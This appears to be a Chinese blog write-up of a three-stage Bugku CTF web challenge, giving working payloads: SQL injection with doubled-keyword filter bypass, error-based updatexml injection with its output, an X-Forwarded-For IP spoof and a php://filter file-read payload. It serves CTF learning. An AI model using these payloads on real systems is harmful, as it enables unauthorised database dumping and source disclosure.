这道题比较有意思,涉及到的知识点也比较多,单独拿出来记录一下吧。

原题:https://ctf.bugku.com/challenges#%E5%A4%9A%E6%AC%A1

第一关

1. 找注入点

进去后只有一句话。首先先找注入点。发现URL有一个id=1,猜想这里会有注入点。加个单引号,果然报错了。说明这里存在注入点。

2. 判断过滤

这里返回只有两种情况,所以可以用以下语句判断过滤:

?id=1'^(length('union')>0)%23
这里后面用 "#" 的话无法注入,可能是哪里过滤了 “#” 号。

这里是通过异或来判断真假。这里如果不报错的话就说明里面的字符串被过滤了。

经过检测发现 select, union, or, and 都被过滤了。并且这里的过滤是直接替换为空。

3. 注入

既然如此,就可以通过特殊的方法来绕过。比如:oorr就可以绕过这种检测一次的过滤。下面就是常规的注入过程啦(记得绕过过滤)。直接给最后结果吧:

id=%27 ununionion seselectlect 1,flag1 from flag1%23

select 出来一个flag。但是里面还有一个address,查看可以得到第二关的地址。

第二关

和上一关一样的检测方法。查出来union被过滤了。但是上一关的绕过方法用不了了。这里利用的是基于报错的updatexml注入。

首先先了解一下updatexml:

UPDATEXML (XML_document, XPath_string, new_value); 
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc 
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。 
第三个参数:new_value,String格式,替换查找到的符合条件的数据 
作用:改变文档中符合条件的节点的值

Payload:

/Once_More.php?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)%23

这里提交的是~sql语句~,是不符合xml格式的,所以会报错。报错会造成 select group_concat(table_name) from information_schema.tables where table_schema=database() 语句的执行,所以可以注入。

此时回显:

My Id =1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)#
Nobody!
XPATH syntax error: '~class,flag2~'

接下来就是常规的注入啦~

第三关

第二关拿到flag就可以过了。但是既然还有第三关那当然要看看啦。

提示要用特定的IP访问,那就修改XFF头来绕过,得到一个二维码。扫描后得到:

你……你……你可以看到我?
好吧,我来自于ErWeiMa.php
顺便告诉你两个密码
one:参数名是game;
tow:flag在admin里
对了,文件后@…c=Y&$as%_=#*ad…*@#!*&@…c……

既然如此,那就构造payload:

/Have_Fun.php/?game=php://filter/convert.base64-encode/resource=admin.php

得到flag。

最后修改:2019 年 06 月 10 日
如果觉得我的文章对你有用,请随意赞赏